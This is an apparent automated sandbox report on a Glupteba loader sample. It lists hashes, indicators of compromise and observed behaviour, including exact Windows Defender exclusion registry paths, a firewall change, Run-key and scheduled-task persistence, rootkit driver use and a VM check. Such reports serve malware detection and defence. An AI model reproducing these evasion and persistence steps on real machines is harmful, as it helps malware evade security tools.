glupteba | 6798d098ba258fe66b9a065b894a3e49e96c1d0deb571a88c26db57c9d30c9d5

Analysis

max time kernel
299s
max time network
302s
platform
windows10-1703_x64
resource
win10-20240404-en
resource tags

arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
submitted
16/05/2024, 23:16

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

6798d098ba258fe66b9a065b894a3e49e96c1d0deb571a88c26db57c9d30c9d5.exe
Size

4.1MB
MD5

e6e1f03cdd49b6234cc01cf624afc230
SHA1

aa05c9573fd6f8a8c212d85e26f80133dc6996da
SHA256

6798d098ba258fe66b9a065b894a3e49e96c1d0deb571a88c26db57c9d30c9d5
SHA512

37ebf4d6ffc81876f96034b5154097fda3f4cb5a02b1678c9ee1102f8a6d08a668d441afc6eb67b626444a1be12fb3a1910859220c7b2f2bb87d5dcf657fe97e
SSDEEP

98304:MTqhS9Lnz8MmSV7jAB6wVffYAFzc/C0Dla1eCdEfwq9hv7fsfHoqc5/0ndW:jS9LzA0QB3VffYAWClIC+YKgH5cgg

Score

10^/10

glupteba discovery dropper evasion execution loader persistence rootkit trojan upx

Malware Config

Signatures

Glupteba
Glupteba is a modular loader written in Golang with various components.
loader dropper glupteba

Glupteba payload 28 IoCs

resource	yara_rule
behavioral2/memory/4296-2-0x0000000002E30000-0x000000000371B000-memory.dmp	family_glupteba
behavioral2/memory/4296-3-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/4296-302-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/4296-303-0x0000000002E30000-0x000000000371B000-memory.dmp	family_glupteba
behavioral2/memory/4240-1017-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/1332-1741-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/1332-1749-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/1332-1752-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/1332-1754-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/1332-1756-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/1332-1758-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/1332-1760-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/1332-1762-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/1332-1764-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/1332-1768-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/1332-1770-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/1332-1772-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/1332-1774-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/1332-1776-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/1332-1778-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/1332-1780-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/1332-2512-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/1332-2516-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/1332-2520-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/1332-2524-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/1332-2527-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/1332-2532-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba
behavioral2/memory/1332-2536-0x0000000000400000-0x0000000000D1C000-memory.dmp	family_glupteba

Windows security bypass 2 TTPs 7 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0"	6798d098ba258fe66b9a065b894a3e49e96c1d0deb571a88c26db57c9d30c9d5.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0"	6798d098ba258fe66b9a065b894a3e49e96c1d0deb571a88c26db57c9d30c9d5.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0"	6798d098ba258fe66b9a065b894a3e49e96c1d0deb571a88c26db57c9d30c9d5.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0"	6798d098ba258fe66b9a065b894a3e49e96c1d0deb571a88c26db57c9d30c9d5.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\6798d098ba258fe66b9a065b894a3e49e96c1d0deb571a88c26db57c9d30c9d5.exe = "0"	6798d098ba258fe66b9a065b894a3e49e96c1d0deb571a88c26db57c9d30c9d5.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0"	6798d098ba258fe66b9a065b894a3e49e96c1d0deb571a88c26db57c9d30c9d5.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0"	6798d098ba258fe66b9a065b894a3e49e96c1d0deb571a88c26db57c9d30c9d5.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
3864	netsh.exe

Executes dropped EXE 7 IoCs

pid	Process
1332	csrss.exe
4316	injector.exe
1924	windefender.exe
2268	windefender.exe
1508	dcb505dc2b9d8aac05f4ca0727f5eadb.exe
4500	713674d5e968cbe2102394be0b2bae6f.exe
1780	1bf850b4d9587c1017a75a47680584c4.exe

UPX packed file 26 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000800000001ac73-1744.dat	upx
behavioral2/memory/1924-1746-0x0000000000400000-0x00000000008DF000-memory.dmp	upx
behavioral2/memory/1924-1748-0x0000000000400000-0x00000000008DF000-memory.dmp	upx
behavioral2/memory/2268-1750-0x0000000000400000-0x00000000008DF000-memory.dmp	upx
behavioral2/memory/2268-1755-0x0000000000400000-0x00000000008DF000-memory.dmp	upx
behavioral2/memory/2268-1761-0x0000000000400000-0x00000000008DF000-memory.dmp	upx
behavioral2/files/0x0006000000000695-2025.dat	upx
behavioral2/memory/1508-2027-0x0000000000400000-0x00000000008E1000-memory.dmp	upx
behavioral2/memory/1508-2031-0x0000000000400000-0x00000000008E1000-memory.dmp	upx
behavioral2/files/0x000a000000000697-2268.dat	upx
behavioral2/memory/4500-2271-0x0000000000FE0000-0x00000000018AD000-memory.dmp	upx
behavioral2/files/0x000a000000000699-2510.dat	upx
behavioral2/memory/1780-2511-0x0000000000400000-0x00000000008E8000-memory.dmp	upx
behavioral2/memory/4500-2514-0x0000000000FE0000-0x00000000018AD000-memory.dmp	upx
behavioral2/memory/1780-2515-0x0000000000400000-0x00000000008E8000-memory.dmp	upx
behavioral2/memory/4500-2518-0x0000000000FE0000-0x00000000018AD000-memory.dmp	upx
behavioral2/memory/1780-2519-0x0000000000400000-0x00000000008E8000-memory.dmp	upx
behavioral2/memory/4500-2522-0x0000000000FE0000-0x00000000018AD000-memory.dmp	upx
behavioral2/memory/1780-2523-0x0000000000400000-0x00000000008E8000-memory.dmp	upx
behavioral2/memory/4500-2526-0x0000000000FE0000-0x00000000018AD000-memory.dmp	upx
behavioral2/memory/1780-2528-0x0000000000400000-0x00000000008E8000-memory.dmp	upx
behavioral2/memory/4500-2530-0x0000000000FE0000-0x00000000018AD000-memory.dmp	upx
behavioral2/memory/1780-2531-0x0000000000400000-0x00000000008E8000-memory.dmp	upx
behavioral2/memory/4500-2534-0x0000000000FE0000-0x00000000018AD000-memory.dmp	upx
behavioral2/memory/1780-2535-0x0000000000400000-0x00000000008E8000-memory.dmp	upx
behavioral2/memory/1780-2539-0x0000000000400000-0x00000000008E8000-memory.dmp	upx

Windows security modification 2 TTPs 7 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0"	6798d098ba258fe66b9a065b894a3e49e96c1d0deb571a88c26db57c9d30c9d5.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0"	6798d098ba258fe66b9a065b894a3e49e96c1d0deb571a88c26db57c9d30c9d5.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0"	6798d098ba258fe66b9a065b894a3e49e96c1d0deb571a88c26db57c9d30c9d5.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\6798d098ba258fe66b9a065b894a3e49e96c1d0deb571a88c26db57c9d30c9d5.exe = "0"	6798d098ba258fe66b9a065b894a3e49e96c1d0deb571a88c26db57c9d30c9d5.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0"	6798d098ba258fe66b9a065b894a3e49e96c1d0deb571a88c26db57c9d30c9d5.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0"	6798d098ba258fe66b9a065b894a3e49e96c1d0deb571a88c26db57c9d30c9d5.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0"	6798d098ba258fe66b9a065b894a3e49e96c1d0deb571a88c26db57c9d30c9d5.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3968772205-1713802336-1776639840-1000\Software\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Windows\\rss\\csrss.exe\""	6798d098ba258fe66b9a065b894a3e49e96c1d0deb571a88c26db57c9d30c9d5.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3968772205-1713802336-1776639840-1000\Software\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Windows\\rss\\csrss.exe\""	csrss.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Manipulates WinMonFS driver. 1 IoCs

Roottkits write to WinMonFS to hide directories/files from being detected.

rootkit evasion

description	ioc	Process
File opened for modification	\??\WinMonFS	csrss.exe

Drops file in System32 directory 10 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive	powershell.exe

Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs

Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\VBoxMiniRdrDN	6798d098ba258fe66b9a065b894a3e49e96c1d0deb571a88c26db57c9d30c9d5.exe

Drops file in Windows directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\rss	6798d098ba258fe66b9a065b894a3e49e96c1d0deb571a88c26db57c9d30c9d5.exe
File created	C:\Windows\rss\csrss.exe	6798d098ba258fe66b9a065b894a3e49e96c1d0deb571a88c26db57c9d30c9d5.exe
File created	C:\Windows\windefender.exe	csrss.exe
File opened for modification	C:\Windows\windefender.exe	csrss.exe

Launches sc.exe 1 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4920	sc.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 10 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3016	powershell.exe
708	powershell.exe
4560	powershell.exe
4952	powershell.exe
4640	powershell.exe
2148	powershell.exe
2816	powershell.exe
2452	powershell.exe
1664	powershell.exe
4980	powershell.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
3124	schtasks.exe
3044	schtasks.exe

GoLang User-Agent 3 IoCs

Uses default user-agent string defined by GoLang HTTP packages.

description	flow	ioc
HTTP User-Agent header	40	Go-http-client/1.1
HTTP User-Agent header	41	Go-http-client/1.1
HTTP User-Agent header	46	Go-http-client/1.1

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-1801 = "Line Islands Daylight Time"	6798d098ba258fe66b9a065b894a3e49e96c1d0deb571a88c26db57c9d30c9d5.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-431 = "Iran Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-342 = "Egypt Standard Time"	6798d098ba258fe66b9a065b894a3e49e96c1d0deb571a88c26db57c9d30c9d5.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-172 = "Central Standard Time (Mexico)"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-291 = "Central European Daylight Time"	6798d098ba258fe66b9a065b894a3e49e96c1d0deb571a88c26db57c9d30c9d5.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-282 = "Central Europe Standard Time"	6798d098ba258fe66b9a065b894a3e49e96c1d0deb571a88c26db57c9d30c9d5.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-241 = "Samoa Daylight Time"	6798d098ba258fe66b9a065b894a3e49e96c1d0deb571a88c26db57c9d30c9d5.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-32 = "Mid-Atlantic Standard Time"	6798d098ba258fe66b9a065b894a3e49e96c1d0deb571a88c26db57c9d30c9d5.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-961 = "Paraguay Daylight Time"	6798d098ba258fe66b9a065b894a3e49e96c1d0deb571a88c26db57c9d30c9d5.exe
Key created	\REGISTRY\USER\.DEFAULT\System\CurrentControlSet\Control\NetTrace	netsh.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-382 = "South Africa Standard Time"	windefender.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-448 = "Azerbaijan Daylight Time"	6798d098ba258fe66b9a065b894a3e49e96c1d0deb571a88c26db57c9d30c9d5.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-131 = "US Eastern Daylight Time"	6798d098ba258fe66b9a065b894a3e49e96c1d0deb571a88c26db57c9d30c9d5.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-1841 = "Russia TZ 4 Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2752 = "Tomsk Standard Time"	6798d098ba258fe66b9a065b894a3e49e96c1d0deb571a88c26db57c9d30c9d5.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-572 = "China Standard Time"	6798d098ba258fe66b9a065b894a3e49e96c1d0deb571a88c26db57c9d30c9d5.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-722 = "Central Pacific Standard Time"	6798d098ba258fe66b9a065b894a3e49e96c1d0deb571a88c26db57c9d30c9d5.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-2632 = "Norfolk Standard Time"	6798d098ba258fe66b9a065b894a3e49e96c1d0deb571a88c26db57c9d30c9d5.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-772 = "Montevideo Standard Time"	windefender.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-162 = "Central Standard Time"	6798d098ba258fe66b9a065b894a3e49e96c1d0deb571a88c26db57c9d30c9d5.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-215 = "Pacific Standard Time (Mexico)"	6798d098ba258fe66b9a065b894a3e49e96c1d0deb571a88c26db57c9d30c9d5.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-2451 = "Saint Pierre Daylight Time"	windefender.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-571 = "China Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-1871 = "Russia TZ 7 Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-131 = "US Eastern Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-391 = "Arab Daylight Time"	6798d098ba258fe66b9a065b894a3e49e96c1d0deb571a88c26db57c9d30c9d5.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-272 = "Greenwich Standard Time"	6798d098ba258fe66b9a065b894a3e49e96c1d0deb571a88c26db57c9d30c9d5.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-1821 = "Russia TZ 1 Daylight Time"	windefender.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\@tzres.dll,-384 = "Namibia Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\C:\Windows\system32\,@tzres.dll,-672 = "AUS Eastern Standard Time"	6798d098ba258fe66b9a065b894a3e49e96c1d0deb571a88c26db57c9d30c9d5.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4560	powershell.exe
4560	powershell.exe
4560	powershell.exe
4296	6798d098ba258fe66b9a065b894a3e49e96c1d0deb571a88c26db57c9d30c9d5.exe
4296	6798d098ba258fe66b9a065b894a3e49e96c1d0deb571a88c26db57c9d30c9d5.exe
2452	powershell.exe
2452	powershell.exe
2452	powershell.exe
4240	6798d098ba258fe66b9a065b894a3e49e96c1d0deb571a88c26db57c9d30c9d5.exe
4240	6798d098ba258fe66b9a065b894a3e49e96c1d0deb571a88c26db57c9d30c9d5.exe
4240	6798d098ba258fe66b9a065b894a3e49e96c1d0deb571a88c26db57c9d30c9d5.exe
4240	6798d098ba258fe66b9a065b894a3e49e96c1d0deb571a88c26db57c9d30c9d5.exe
4240	6798d098ba258fe66b9a065b894a3e49e96c1d0deb571a88c26db57c9d30c9d5.exe
4240	6798d098ba258fe66b9a065b894a3e49e96c1d0deb571a88c26db57c9d30c9d5.exe
4240	6798d098ba258fe66b9a065b894a3e49e96c1d0deb571a88c26db57c9d30c9d5.exe
4240	6798d098ba258fe66b9a065b894a3e49e96c1d0deb571a88c26db57c9d30c9d5.exe
4240	6798d098ba258fe66b9a065b894a3e49e96c1d0deb571a88c26db57c9d30c9d5.exe
4240	6798d098ba258fe66b9a065b894a3e49e96c1d0deb571a88c26db57c9d30c9d5.exe
1664	powershell.exe
1664	powershell.exe
1664	powershell.exe
4952	powershell.exe
4952	powershell.exe
4952	powershell.exe
4980	powershell.exe
4980	powershell.exe
4980	powershell.exe
4640	powershell.exe
4640	powershell.exe
4640	powershell.exe
2148	powershell.exe
2148	powershell.exe
2148	powershell.exe
4316	injector.exe
4316	injector.exe
4316	injector.exe
4316	injector.exe
4316	injector.exe
4316	injector.exe
1332	csrss.exe
1332	csrss.exe
4316	injector.exe
4316	injector.exe
4316	injector.exe
4316	injector.exe
4316	injector.exe
4316	injector.exe
1332	csrss.exe
1332	csrss.exe
4316	injector.exe
4316	injector.exe
4316	injector.exe
4316	injector.exe
1332	csrss.exe
1332	csrss.exe
4316	injector.exe
4316	injector.exe
4316	injector.exe
4316	injector.exe
4316	injector.exe
4316	injector.exe
4316	injector.exe
4316	injector.exe
4316	injector.exe

Suspicious use of AdjustPrivilegeToken 15 IoCs

description	pid	Process
Token: SeDebugPrivilege	4560	powershell.exe
Token: SeDebugPrivilege	4296	6798d098ba258fe66b9a065b894a3e49e96c1d0deb571a88c26db57c9d30c9d5.exe
Token: SeImpersonatePrivilege	4296	6798d098ba258fe66b9a065b894a3e49e96c1d0deb571a88c26db57c9d30c9d5.exe
Token: SeDebugPrivilege	2452	powershell.exe
Token: SeDebugPrivilege	1664	powershell.exe
Token: SeDebugPrivilege	4952	powershell.exe
Token: SeDebugPrivilege	4980	powershell.exe
Token: SeDebugPrivilege	4640	powershell.exe
Token: SeDebugPrivilege	2148	powershell.exe
Token: SeSystemEnvironmentPrivilege	1332	csrss.exe
Token: SeSecurityPrivilege	4920	sc.exe
Token: SeSecurityPrivilege	4920	sc.exe
Token: SeDebugPrivilege	3016	powershell.exe
Token: SeDebugPrivilege	708	powershell.exe
Token: SeDebugPrivilege	2816	powershell.exe

Suspicious use of WriteProcessMemory 54 IoCs

description	pid	Process	procid_target
PID 4296 wrote to memory of 4560	4296	6798d098ba258fe66b9a065b894a3e49e96c1d0deb571a88c26db57c9d30c9d5.exe	74
PID 4296 wrote to memory of 4560	4296	6798d098ba258fe66b9a065b894a3e49e96c1d0deb571a88c26db57c9d30c9d5.exe	74
PID 4296 wrote to memory of 4560	4296	6798d098ba258fe66b9a065b894a3e49e96c1d0deb571a88c26db57c9d30c9d5.exe	74
PID 4240 wrote to memory of 2452	4240	6798d098ba258fe66b9a065b894a3e49e96c1d0deb571a88c26db57c9d30c9d5.exe	79
PID 4240 wrote to memory of 2452	4240	6798d098ba258fe66b9a065b894a3e49e96c1d0deb571a88c26db57c9d30c9d5.exe	79
PID 4240 wrote to memory of 2452	4240	6798d098ba258fe66b9a065b894a3e49e96c1d0deb571a88c26db57c9d30c9d5.exe	79
PID 4240 wrote to memory of 1252	4240	6798d098ba258fe66b9a065b894a3e49e96c1d0deb571a88c26db57c9d30c9d5.exe	81
